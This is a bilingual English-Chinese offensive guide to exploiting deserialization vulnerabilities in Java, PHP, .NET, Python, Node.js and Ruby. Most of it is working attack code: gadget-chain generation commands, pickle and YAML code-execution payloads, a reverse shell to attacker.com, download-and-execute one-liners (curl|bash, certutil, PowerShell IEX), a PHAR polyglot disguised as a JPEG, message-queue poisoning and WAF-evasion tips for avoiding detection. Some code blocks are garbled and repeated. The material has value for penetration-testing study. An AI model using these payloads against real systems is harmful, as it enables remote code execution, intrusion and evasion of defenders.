offensive-deserialization
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseOffensive Deserialization
攻击性反序列化
Deserialization vulnerabilities arise when an application reconstructs objects from
serialized byte streams without validating the type, integrity, or origin of the
data. Object reconstruction triggers constructors, finalizers, and language-specific
magic methods, so an attacker who controls the serialized input often achieves remote
code execution before any application-level validation runs.
当应用在不验证数据类型、完整性或来源的情况下,根据序列化字节流重建对象时,就会产生反序列化漏洞。对象重建会触发构造函数、finalizer 以及语言特定的 magic method,因此攻击者一旦能够控制序列化输入,通常就能在任何应用层验证执行之前实现远程代码执行。
Quick Workflow
快速工作流
- Enumerate every entry point accepting opaque binary or encoded data -- cookies, HTTP bodies, headers, message queue messages, file uploads, GraphQL custom scalars, gRPC fields, JMX/RMI endpoints.
- Fingerprint the serialization format via magic bytes, content-type headers, and error behavior (see Recognition Signatures).
- Determine the server-side language and framework version from error pages, HTTP headers, or source code.
- Select candidate gadget chains matching the target classpath or installed packages. Generate payloads with ysoserial, phpggc, ysoserial.net, or manual construction.
- Deliver through the identified entry point. Start with DNS-only or sleep-based proof to confirm execution without destructive side effects.
- Escalate from proof-of-concept to the engagement objective with authorization.
- Document the full chain: entry point, format, gadget chain, library versions, proof.
- 枚举所有接受不透明二进制或编码数据的入口点——Cookie、HTTP body、header、消息队列消息、文件上传、GraphQL custom scalar、gRPC field、JMX/RMI endpoint。
- 通过 magic byte、Content-Type header 和错误行为识别序列化格式(参见“识别特征”)。
- 根据错误页面、HTTP header 或源代码确定服务端语言和 framework 版本。
- 选择与目标 classpath 或已安装 package 匹配的候选 gadget chain。使用 ysoserial、phpggc、ysoserial.net 或手工方式生成 payload。
- 通过已识别的入口点投递。先使用仅 DNS 或基于 sleep 的 PoC 确认执行,避免产生破坏性副作用。
- 在获得授权后,将 PoC 提升为项目目标所需的攻击阶段。
- 记录完整链路:入口点、格式、gadget chain、library 版本和证明。
Recognition Signatures
识别特征
| Format | Signature | Notes |
|---|---|---|
| Java ObjectInputStream | Hex | Cookies, POST bodies, JMX/RMI streams |
| PHP serialize | | Frequently Base64-wrapped in cookies |
| .NET BinaryFormatter | Base64 | ViewState, remoting, session state |
| Python pickle | Opcodes | Redis caches, Celery tasks, ML pipelines |
| Ruby Marshal | | Session cookies in older Rails apps |
| YAML (any lang) | | Tag-based instantiation |
| Java XMLDecoder | | Legacy Java admin panels |
| .NET Json.NET | | TypeNameHandling != None |
| Java Jackson | | enableDefaultTyping / polymorphic handling |
| 格式 | 特征 | 备注 |
|---|---|---|
| Java ObjectInputStream | Hex | Cookie、POST body、JMX/RMI stream |
| PHP serialize | | 通常在 Cookie 中使用 Base64 包装 |
| .NET BinaryFormatter | Base64 | ViewState、remoting、session state |
| Python pickle | Opcode | Redis cache、Celery task、ML pipeline |
| Ruby Marshal | 起始字节 | 旧版 Rails 应用中的 session Cookie |
| YAML(任意语言) | | 基于 tag 实例化对象 |
| Java XMLDecoder | | 旧版 Java 管理面板 |
| .NET Json.NET | JSON 中包含 | TypeNameHandling != None |
| Java Jackson | JSON 数组包装格式 | enableDefaultTyping / 多态处理 |
Java Deserialization
Java 反序列化
ObjectInputStream.readObject()ObjectInputStream.readObject()Identifying Sinks
识别 Sink
java
// Direct ObjectInputStream usage
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();
// XMLDecoder -- equally dangerous, often overlooked
XMLDecoder decoder = new XMLDecoder(inputStream);
Object obj = decoder.readObject();
// XStream without allowlist
XStream xstream = new XStream();
Object obj = xstream.fromXML(userInput);
// Jackson polymorphic typing -- CVE-2017-7525 and successors
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
// Jackson @JsonTypeInfo on base class
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public abstract class BaseCommand { }
// JMX/RMI endpoints -- default port 1099, often unauthenticatedjava
// Direct ObjectInputStream usage
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();
// XMLDecoder -- equally dangerous, often overlooked
XMLDecoder decoder = new XMLDecoder(inputStream);
Object obj = decoder.readObject();
// XStream without allowlist
XStream xstream = new XStream();
Object obj = xstream.fromXML(userInput);
// Jackson polymorphic typing -- CVE-2017-7525 and successors
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
// Jackson @JsonTypeInfo on base class
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public abstract class BaseCommand { }
// JMX/RMI endpoints -- default port 1099, often unauthenticatedserialVersionUID and Classpath Constraints
serialVersionUID 与 Classpath 约束
Every serializable Java class carries a . A mismatch causes
before any gadget logic executes. Extract the server's UID
from error messages or decompiled JARs, then rebuild the payload with ysoserial's
source. The UID often changes only on major releases, so brute-forcing common
versions is feasible when the exact version is unknown.
serialVersionUIDInvalidClassException每个可序列化 Java 类都包含 。如果发生不匹配, 会在任何 gadget logic 执行之前抛出。可以从错误消息或反编译后的 JAR 中提取服务器的 UID,然后使用 ysoserial 源码重新构建 payload。UID 通常只会在主要版本发布时发生变化,因此当确切版本未知时,暴力尝试常见版本是可行的。
serialVersionUIDInvalidClassExceptionysoserial Gadget Chains
ysoserial Gadget Chain
Match the chain to libraries present on the target classpath.
bash
undefined将 chain 与目标 classpath 中存在的 library 匹配。
bash
undefinedCommonsCollections -- most widely applicable
CommonsCollections -- most widely applicable
CC1: commons-collections 3.1, JDK < 8u72
CC1: commons-collections 3.1, JDK < 8u72
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/cb' > payload.bin
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/cb' > payload.bin
CC5: later JDK versions where CC1 is patched
CC5: later JDK versions where CC1 is patched
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/cb' > payload.bin
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/cb' > payload.bin
CC7: Hashtable entry point, bypasses some ObjectInputFilter rules
CC7: Hashtable entry point, bypasses some ObjectInputFilter rules
java -jar ysoserial.jar CommonsCollections7 'id > /tmp/proof.txt' > payload.bin
java -jar ysoserial.jar CommonsCollections7 'id > /tmp/proof.txt' > payload.bin
Spring chain -- requires spring-core + spring-beans
Spring chain -- requires spring-core + spring-beans
java -jar ysoserial.jar Spring1 'wget http://attacker.com/s.sh -O /tmp/s.sh' > payload.bin
java -jar ysoserial.jar Spring1 'wget http://attacker.com/s.sh -O /tmp/s.sh' > payload.bin
Hibernate chain -- requires hibernate-core
Hibernate chain -- requires hibernate-core
java -jar ysoserial.jar Hibernate1 'bash -c {echo,BASE64}|{base64,-d}|bash' > payload.bin
java -jar ysoserial.jar Hibernate1 'bash -c {echo,BASE64}|{base64,-d}|bash' > payload.bin
CommonsBeanutils -- present in many apps via shaded dependencies
CommonsBeanutils -- present in many apps via shaded dependencies
java -jar ysoserial.jar CommonsBeanutils1 'ping -c 3 attacker.com' > payload.bin
java -jar ysoserial.jar CommonsBeanutils1 'ping -c 3 attacker.com' > payload.bin
URLDNS -- DNS lookup only, no RCE, safe for detection confirmation
URLDNS -- DNS lookup only, no RCE, safe for detection confirmation
java -jar ysoserial.jar URLDNS 'http://deser-confirm.attacker.com' > payload.bin
java -jar ysoserial.jar URLDNS 'http://deser-confirm.attacker.com' > payload.bin
JRMPClient -- redirect deser to attacker-controlled JRMP listener
JRMPClient -- redirect deser to attacker-controlled JRMP listener
java -jar ysoserial.jar JRMPClient 'attacker.com:1099' > payload.bin
java -jar ysoserial.jar JRMPClient 'attacker.com:1099' > payload.bin
On attacker host, serve secondary payload via JRMP listener
On attacker host, serve secondary payload via JRMP listener
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'id'
undefinedjava -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'id'
undefinedJMX/RMI Deserialization
JMX/RMI 反序列化
JMX and RMI registries accept serialized objects over the wire and are frequently
exposed without authentication on internal networks.
bash
undefinedJMX 和 RMI registry 通过网络接受序列化对象,并且经常在内部网络上未经身份验证即暴露。
bash
undefinedScan for RMI registries
Scan for RMI registries
nmap -sV -p 1099,1098,9010,9011 --script rmi-dumpregistry TARGET
nmap -sV -p 1099,1098,9010,9011 --script rmi-dumpregistry TARGET
marshalsec: exploit RMI/JNDI
marshalsec: exploit RMI/JNDI
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
"http://attacker.com:8080/#ExploitClass" 1099
"http://attacker.com:8080/#ExploitClass" 1099
undefinedjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
"http://attacker.com:8080/#ExploitClass" 1099
"http://attacker.com:8080/#ExploitClass" 1099
undefinedJackson Polymorphic Typing
Jackson 多态类型处理
When or is active, you
supply a JSON array naming the class to instantiate.
enableDefaultTyping()@JsonTypeInfo(use = Id.CLASS)json
["com.sun.rowset.JdbcRowSetImpl",
{"dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true}]Jackson maintainers continuously add classes to a denylist. Check the target's
version against known bypass classes: ,
, and similar JNDI-capable beans.
org.apache.ibatis.datasource.jndi.JndiDataSourceFactorycom.caucho.config.types.ResourceRef当 或 启用时,可以提供一个 JSON 数组,其中包含待实例化 class 的名称。
enableDefaultTyping()@JsonTypeInfo(use = Id.CLASS)json
["com.sun.rowset.JdbcRowSetImpl",
{"dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true}]Jackson 维护者会持续将更多 class 加入 denylist。应根据目标版本检查已知 bypass class,例如 、 以及其他具备 JNDI 能力的 bean。
org.apache.ibatis.datasource.jndi.JndiDataSourceFactorycom.caucho.config.types.ResourceRefPHP Deserialization
PHP 反序列化
unserialize()__wakeup__destruct__toStringphar://unserialize()unserialize()__wakeup__destruct__toStringphar://unserialize()Identifying Sinks
识别 Sink
php
// Direct unserialize
$obj = unserialize($userInput);
// phar:// wrapper -- any file operation on a phar:// path is a sink
file_exists("phar://uploads/avatar.jpg");
is_dir("phar://" . $userControlledPath);
// Triggering functions: file_exists, is_dir, is_file, file_get_contents,
// fopen, fileatime, filectime, filemtime, filesize, copy, rename, unlink,
// stat, lstat, getimagesize, exif_read_data, hash_file, md5_file, sha1_filephp
// Direct unserialize
$obj = unserialize($userInput);
// phar:// wrapper -- any file operation on a phar:// path is a sink
file_exists("phar://uploads/avatar.jpg");
is_dir("phar://" . $userControlledPath);
// Triggering functions: file_exists, is_dir, is_file, file_get_contents,
// fopen, fileatime, filectime, filemtime, filesize, copy, rename, unlink,
// stat, lstat, getimagesize, exif_read_data, hash_file, md5_file, sha1_filephpggc Gadget Chains
phpggc Gadget Chain
bash
phpggc -l # List all available chainsbash
phpggc -l # List all available chainsLaravel RCE -- PendingBroadcast + Dispatcher, works 5.5 through 9.x
Laravel RCE -- PendingBroadcast + Dispatcher, works 5.5 through 9.x
phpggc Laravel/RCE1 system 'id' -b # -b = base64
phpggc Laravel/RCE10 system 'cat /etc/passwd' -s # -s = serialized
phpggc Laravel/RCE1 system 'id' -b # -b = base64
phpggc Laravel/RCE10 system 'cat /etc/passwd' -s # -s = serialized
Symfony RCE -- targets process component
Symfony RCE -- targets process component
phpggc Symfony/RCE4 exec 'curl http://attacker.com/s.sh|bash' -b
phpggc Symfony/RCE4 exec 'curl http://attacker.com/s.sh|bash' -b
Monolog RCE -- present in most Composer projects
Monolog RCE -- present in most Composer projects
phpggc Monolog/RCE1 system 'whoami' -b
phpggc Monolog/RCE1 system 'whoami' -b
Guzzle / WordPress chains
Guzzle / WordPress chains
phpggc Guzzle/RCE1 system 'id' -b
phpggc WordPress/RCE1 system 'id' -b
phpggc Guzzle/RCE1 system 'id' -b
phpggc WordPress/RCE1 system 'id' -b
PHAR output instead of raw serialized data
PHAR output instead of raw serialized data
phpggc Laravel/RCE1 system 'id' -p phar -o exploit.phar
phpggc Laravel/RCE1 system 'id' -p phar -o exploit.phar
PHAR polyglot disguised as JPEG
PHAR polyglot disguised as JPEG
phpggc Laravel/RCE1 system 'id' -p phar -pp header.jpg -o exploit.jpg
undefinedphpggc Laravel/RCE1 system 'id' -p phar -pp header.jpg -o exploit.jpg
undefinedphar:// Exploitation
phar:// 利用
The phar:// wrapper deserializes the metadata section of a PHAR archive on any file
operation. The sink is a file function, not , so it evades many audits.
unserialize()php
// Build a malicious PHAR (php.ini: phar.readonly = 0)
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$object = new VulnerableClass();
$object->command = 'id';
$phar->setMetadata($object);
$phar->stopBuffering();
// Create a polyglot by prepending a JPEG header
$jpegHeader = file_get_contents('legitimate.jpg');
file_put_contents('exploit.jpg', $jpegHeader . file_get_contents('exploit.phar'));Upload the polyglot as an image, then trigger a file operation referencing
.
phar://uploads/exploit.jpg/test.txtphar://unserialize()php
// Build a malicious PHAR (php.ini: phar.readonly = 0)
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$object = new VulnerableClass();
$object->command = 'id';
$phar->setMetadata($object);
$phar->stopBuffering();
// Create a polyglot by prepending a JPEG header
$jpegHeader = file_get_contents('legitimate.jpg');
file_put_contents('exploit.jpg', $jpegHeader . file_get_contents('exploit.phar'));将该 polyglot 作为图片上传,然后触发引用 的文件操作。
phar://uploads/exploit.jpg/test.txt.NET Deserialization
.NET 反序列化
BinaryFormatterBinaryFormatterIdentifying Sinks
识别 Sink
csharp
// BinaryFormatter -- deprecated, always dangerous
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(stream);
// SoapFormatter / NetDataContractSerializer -- equally dangerous, less common
// LosFormatter -- used in ViewState
LosFormatter los = new LosFormatter();
object obj = los.Deserialize(viewStateString);
// Json.NET with TypeNameHandling != None
JsonConvert.DeserializeObject<object>(json, new JsonSerializerSettings {
TypeNameHandling = TypeNameHandling.All // or Objects, Arrays, Auto
});csharp
// BinaryFormatter -- deprecated, always dangerous
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(stream);
// SoapFormatter / NetDataContractSerializer -- equally dangerous, less common
// LosFormatter -- used in ViewState
LosFormatter los = new LosFormatter();
object obj = los.Deserialize(viewStateString);
// Json.NET with TypeNameHandling != None
JsonConvert.DeserializeObject<object>(json, new JsonSerializerSettings {
TypeNameHandling = TypeNameHandling.All // or Objects, Arrays, Auto
});ysoserial.net Payloads
ysoserial.net Payload
powershell
undefinedpowershell
undefinedTypeConfuseDelegate -- broad .NET coverage
TypeConfuseDelegate -- broad .NET coverage
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "ping attacker.com"
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "ping attacker.com"
WindowsIdentity -- when TypeConfuseDelegate is blocked
WindowsIdentity -- when TypeConfuseDelegate is blocked
ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "certutil -urlcache -split -f http://attacker.com/s.exe C:\Temp\s.exe"
ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "certutil -urlcache -split -f http://attacker.com/s.exe C:\Temp\s.exe"
TextFormattingRunProperties -- targets WPF/XAML
TextFormattingRunProperties -- targets WPF/XAML
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "calc.exe"
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "calc.exe"
PSObject -- PowerShell-specific
PSObject -- PowerShell-specific
ysoserial.exe -g PSObject -f BinaryFormatter -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/ps.ps1')"
ysoserial.exe -g PSObject -f BinaryFormatter -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/ps.ps1')"
Json.NET TypeNameHandling
Json.NET TypeNameHandling
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "cmd /c whoami > C:\proof.txt"
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "cmd /c whoami > C:\proof.txt"
Base64 output for ViewState or cookie injection
Base64 output for ViewState or cookie injection
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "ping attacker.com" -o base64
undefinedysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "ping attacker.com" -o base64
undefinedViewState Exploitation
ViewState 利用
ASP.NET ViewState is a serialized hidden form field. When MAC validation is disabled
or the machine key is known, you inject a gadget chain directly.
bash
undefinedASP.NET ViewState 是序列化后的隐藏 form field。当 MAC 验证被禁用或 machine key 已知时,可以直接注入 gadget chain。
bash
undefinedIf machine key is known (web.config disclosure, default keys):
If machine key is known (web.config disclosure, default keys):
ysoserial.exe -p ViewState
-g TextFormattingRunProperties
-c "powershell -enc BASE64CMD"
--validationalg="SHA1"
--validationkey="KNOWN_KEY"
--generator="GENERATOR_VALUE"
--path="/target/page.aspx"
--islegacy
-g TextFormattingRunProperties
-c "powershell -enc BASE64CMD"
--validationalg="SHA1"
--validationkey="KNOWN_KEY"
--generator="GENERATOR_VALUE"
--path="/target/page.aspx"
--islegacy
undefinedysoserial.exe -p ViewState
-g TextFormattingRunProperties
-c "powershell -enc BASE64CMD"
--validationalg="SHA1"
--validationkey="KNOWN_KEY"
--generator="GENERATOR_VALUE"
--path="/target/page.aspx"
--islegacy
-g TextFormattingRunProperties
-c "powershell -enc BASE64CMD"
--validationalg="SHA1"
--validationkey="KNOWN_KEY"
--generator="GENERATOR_VALUE"
--path="/target/page.aspx"
--islegacy
undefinedJson.NET TypeNameHandling
Json.NET TypeNameHandling
When is not , the property controls instantiation.
TypeNameHandlingNone$typejson
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib",
"$values": ["cmd.exe", "/c whoami"]
},
"ObjectInstance": {"$type": "System.Diagnostics.Process, System"}
}当 不是 时, property 会控制实例化过程。
TypeNameHandlingNone$typejson
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib",
"$values": ["cmd.exe", "/c whoami"]
},
"ObjectInstance": {"$type": "System.Diagnostics.Process, System"}
}Python Deserialization
Python 反序列化
Python's executes arbitrary code during deserialization through the
method. There is no safe way to deserialize untrusted pickle data.
pickle__reduce__Python 的 会在反序列化期间通过 method 执行任意代码。不存在安全地反序列化不可信 pickle 数据的方法。
pickle__reduce__pickle RCE
pickle RCE
python
import pickle, os, base64
class Exploit:
def __reduce__(self):
return (os.system, ('curl http://attacker.com/callback',))
payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())python
import pickle, os, base64
class Exploit:
def __reduce__(self):
return (os.system, ('curl http://attacker.com/callback',))
payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())Reverse shell variant
Reverse shell variant
class ReverseShell:
def reduce(self):
return (os.system, (
'python3 -c 'import socket,subprocess,os;'
's=socket.socket();s.connect(("attacker.com",4444));'
'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);'
'os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'',))
class ReverseShell:
def reduce(self):
return (os.system, (
'python3 -c 'import socket,subprocess,os;'
's=socket.socket();s.connect(("attacker.com",4444));'
'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);'
'os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'',))
Chained multi-step payload
Chained multi-step payload
class ChainedExploit:
def reduce(self):
return (eval, ("import('os').system('wget http://attacker.com/i -O /tmp/i && chmod +x /tmp/i && /tmp/i')",))
undefinedclass ChainedExploit:
def reduce(self):
return (eval, ("import('os').system('wget http://attacker.com/i -O /tmp/i && chmod +x /tmp/i && /tmp/i')",))
undefinedyaml.load RCE
yaml.load RCE
yaml.load()yaml
undefined不使用 safe loader 的 允许任意对象实例化。
yaml.load()yaml
undefinedDirect command execution
Direct command execution
!!python/object/apply:os.system
- "curl http://attacker.com/callback"
!!python/object/apply:os.system
- "curl http://attacker.com/callback"
Subprocess with output
Subprocess with output
!!python/object/apply:subprocess.check_output
- ["id"]
```bash!!python/object/apply:subprocess.check_output
- ["id"]
```bashFind unsafe yaml.load in codebase
Find unsafe yaml.load in codebase
grep -rn "yaml.load\s*(" --include="*.py" /path/to/codebase
undefinedgrep -rn "yaml.load\s*(" --include="*.py" /path/to/codebase
undefinedOther Python Vectors
其他 Python 攻击向量
python
import shelve # Uses pickle internally -- RCE on shelve.open() of attacker-controlled .db
import marshal # Code object injection via marshal.loads()
import jsonpickle # Third-party, same risks as pickle via jsonpickle.decode()python
import shelve # Uses pickle internally -- RCE on shelve.open() of attacker-controlled .db
import marshal # Code object injection via marshal.loads()
import jsonpickle # Third-party, same risks as pickle via jsonpickle.decode()Node.js Deserialization
Node.js 反序列化
node-serialize IIFE Pattern
node-serialize IIFE 模式
The library uses to mark serialized functions.
Appending creates an IIFE that executes during deserialization.
node-serialize_$$ND_FUNC$$_()javascript
// Trailing () causes immediate execution
{"role":"_$$ND_FUNC$$_function(){require('child_process').execSync('curl http://attacker.com/cb')}()"}
// Base64-wrapped to avoid character issues
{"p":"_$$ND_FUNC$$_function(){eval(Buffer.from('BASE64PAYLOAD','base64').toString())}()"}node-serialize_$$ND_FUNC$$_()javascript
// Trailing () causes immediate execution
{"role":"_$$ND_FUNC$$_function(){require('child_process').execSync('curl http://attacker.com/cb')}()"}
// Base64-wrapped to avoid character issues
{"p":"_$$ND_FUNC$$_function(){eval(Buffer.from('BASE64PAYLOAD','base64').toString())}()"}funcster
funcster
javascript
// funcster deserializes via new Function() constructor
{"__js_function": "function(){return require('child_process').execSync('id').toString()}"}Look for and in cookies, session tokens, and request
bodies.
_$$ND_FUNC$$___js_functionjavascript
// funcster deserializes via new Function() constructor
{"__js_function": "function(){return require('child_process').execSync('id').toString()}"}在 Cookie、session token 和 request body 中查找 与 。
_$$ND_FUNC$$___js_functionRuby Deserialization
Ruby 反序列化
Marshal.loadYAML.loadMarshal.loadYAML.loadMarshal.load Gadgets
Marshal.load Gadget
ruby
undefinedruby
undefinedGem::Requirement chain (Ruby 2.x) / Gem::Installer (varies by version)
Gem::Requirement chain (Ruby 2.x) / Gem::Installer (varies by version)
ERB template execution chain
ERB template execution chain
require 'erb'
class Exploit
def initialize
@template = "<%= %>"
end
end
payload = Marshal.dump(exploit_chain)
encoded = Base64.strict_encode64(payload)
idundefinedrequire 'erb'
class Exploit
def initialize
@template = "<%= %>"
end
end
payload = Marshal.dump(exploit_chain)
encoded = Base64.strict_encode64(payload)
idundefinedYAML.load Gadgets
YAML.load Gadget
yaml
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "curl http://attacker.com/callback"
method_id: :resolveRails session cookies before 5.2 used signed but not encrypted Marshal data. With
the , you forge session cookies containing gadget chains.
secret_key_baseyaml
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "curl http://attacker.com/callback"
method_id: :resolve5.2 之前的 Rails session Cookie 使用经过签名但未加密的 Marshal 数据。获取 后,可以伪造包含 gadget chain 的 session Cookie。
secret_key_baseModern Attack Vectors
现代攻击向量
Kubernetes Admission Webhooks
Kubernetes Admission Webhook
Admission controllers deserialize JSON. A webhook that passes
annotation or label values from the admission request to an unsafe deserializer
creates a cluster-level RCE vector.
AdmissionReviewyaml
apiVersion: v1
kind: Pod
metadata:
name: test-pod
annotations:
config-data: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH..."
spec:
containers:
- name: test
image: nginxThe payload executes in the webhook's context, which typically has elevated cluster
permissions.
Admission controller 会对 JSON 进行反序列化。如果 webhook 将 admission request 中的 annotation 或 label value 传入不安全的 deserializer,就会形成 cluster 级别的 RCE 攻击向量。
AdmissionReviewyaml
apiVersion: v1
kind: Pod
metadata:
name: test-pod
annotations:
config-data: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH..."
spec:
containers:
- name: test
image: nginxPayload 会在 webhook 的上下文中执行,而该上下文通常拥有较高的 cluster 权限。
Message Queue Consumers
消息队列消费者
Applications consuming from Kafka, RabbitMQ, SQS, or Redis often blindly
deserialize message payloads. Producer access lets you poison every consumer.
python
import redis, pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('curl http://attacker.com/callback',))
r = redis.Redis(host='target-redis', port=6379)
r.lpush('celery', pickle.dumps({
'body': pickle.dumps(Exploit()),
'content-type': 'application/x-python-serialize',
}))从 Kafka、RabbitMQ、SQS 或 Redis 消费消息的应用通常会盲目反序列化 message payload。取得 producer 访问权限后,便可投毒所有 consumer。
python
import redis, pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('curl http://attacker.com/callback',))
r = redis.Redis(host='target-redis', port=6379)
r.lpush('celery', pickle.dumps({
'body': pickle.dumps(Exploit()),
'content-type': 'application/x-python-serialize',
}))Serverless Triggers
Serverless Trigger
Serverless functions deserializing event payloads from S3, SNS, or SQS are
vulnerable when the event source is attacker-controllable (e.g., public upload).
python
def handler(event, context):
obj = s3.get_object(Bucket=event['Records'][0]['s3']['bucket']['name'],
Key=event['Records'][0]['s3']['object']['key'])
data = pickle.loads(obj['Body'].read()) # RCE if attacker uploads to bucket当 event source 可由攻击者控制(例如 public upload)时,反序列化来自 S3、SNS 或 SQS 的 event payload 的 serverless function 会存在漏洞。
python
def handler(event, context):
obj = s3.get_object(Bucket=event['Records'][0]['s3']['bucket']['name'],
Key=event['Records'][0]['s3']['object']['key'])
data = pickle.loads(obj['Body'].read()) # RCE if attacker uploads to bucketEvasion Techniques
规避技术
WAF and Filter Bypass
WAF 与 Filter 绕过
bash
undefinedbash
undefinedDouble Base64 -- changes byte pattern
Double Base64 -- changes byte pattern
cat payload.bin | base64 | base64 > double_encoded.txt
cat payload.bin | base64 | base64 > double_encoded.txt
Gzip before Base64 -- entirely different pattern
Gzip before Base64 -- entirely different pattern
gzip -c payload.bin | base64 > compressed_payload.txt
gzip -c payload.bin | base64 > compressed_payload.txt
URL encoding
URL encoding
cat payload.bin | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.buffer.read()))"
cat payload.bin | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.buffer.read()))"
Unicode escaping for JSON payloads -- replace ASCII in $type with \uXXXX
Unicode escaping for JSON payloads -- replace ASCII in $type with \uXXXX
Parameter splitting -- some apps concatenate params before deserializing
Parameter splitting -- some apps concatenate params before deserializing
undefinedundefinedContent-Type Manipulation
Content-Type 操纵
Switch the delivery format to bypass format-specific WAF rules:
http
POST /api/endpoint HTTP/1.1
Content-Type: application/x-java-serialized-object
[binary payload]xml
<?xml version="1.0"?>
<java class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<string>curl http://attacker.com/callback</string>
</void>
</object>
</java>切换投递格式,以绕过针对特定格式的 WAF 规则:
http
POST /api/endpoint HTTP/1.1
Content-Type: application/x-java-serialized-object
[binary payload]xml
<?xml version="1.0"?>
<java class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<string>curl http://attacker.com/callback</string>
</void>
</object>
</java>Encoding Layers
编码层
Many applications apply multiple encoding layers. Wrap your payload to match:
- Serialize the gadget chain.
- Encrypt with a known or leaked key (session cookies, ViewState machine keys).
- Apply HMAC if integrity checks exist (requires the signing key).
- Base64 encode, then URL encode if delivered via query parameter.
When you lack the key, look for default keys in framework documentation, key
disclosure via path traversal or SSRF, or padding oracle attacks to encrypt without
the key.
许多应用会应用多层编码。应按目标应用的方式包装 payload:
- 序列化 gadget chain。
- 使用已知或泄露的 key 加密(session Cookie、ViewState machine key)。
- 如果存在完整性检查,则应用 HMAC(需要签名 key)。
- 执行 Base64 编码;如果通过 query parameter 投递,再执行 URL 编码。
如果没有 key,应查找 framework 文档中的默认 key、通过 path traversal 或 SSRF 泄露的 key,或尝试 padding oracle attack,以便在没有 key 的情况下生成加密内容。
Detection / Defender View
检测与防御方视角
Understanding defensive detection helps you craft payloads that avoid alerts.
Network signatures defenders match:
- Java magic bytes / Base64
ac ed 00 05in HTTP trafficrO0AB - .NET in form fields or cookies
AAEAAAD///// - PHP in request parameters
O:\d+:" - keys in JSON bodies (Json.NET)
$type - in Node.js cookies
_$$ND_FUNC$$_ - tags in YAML inputs
!!python/object
Runtime defenses you will encounter:
- Java (JEP 290) -- class allowlists/denylists. Bypass with chains operating entirely within the allowed set.
ObjectInputFilter - .NET -- restricts type resolution. Bypass with types within the allowed namespace that still enable execution.
SerializationBinder - PHP in
allowed_classes-- limits instantiation. Bypass by using only allowed classes, or reaching the sink through phar:// where the parameter is not applied.unserialize() - WAF rules on serialized patterns -- bypass with encoding, compression, or content-type switching.
- RASP -- instruments deserialization calls. Test with URLDNS or sleep payloads first to gauge coverage.
Log artifacts your attack generates:
- /
ClassNotFoundExceptionin server logs (failed chain)ClassCastException - Stack traces referencing ,
ObjectInputStream,readObjectreadResolve - Unusual outbound DNS/HTTP from the application server
- Process spawning from the JVM/interpreter process
了解防御检测机制有助于构建能够避开告警的 payload。
防御方匹配的网络特征:
- HTTP 流量中的 Java magic byte / Base64
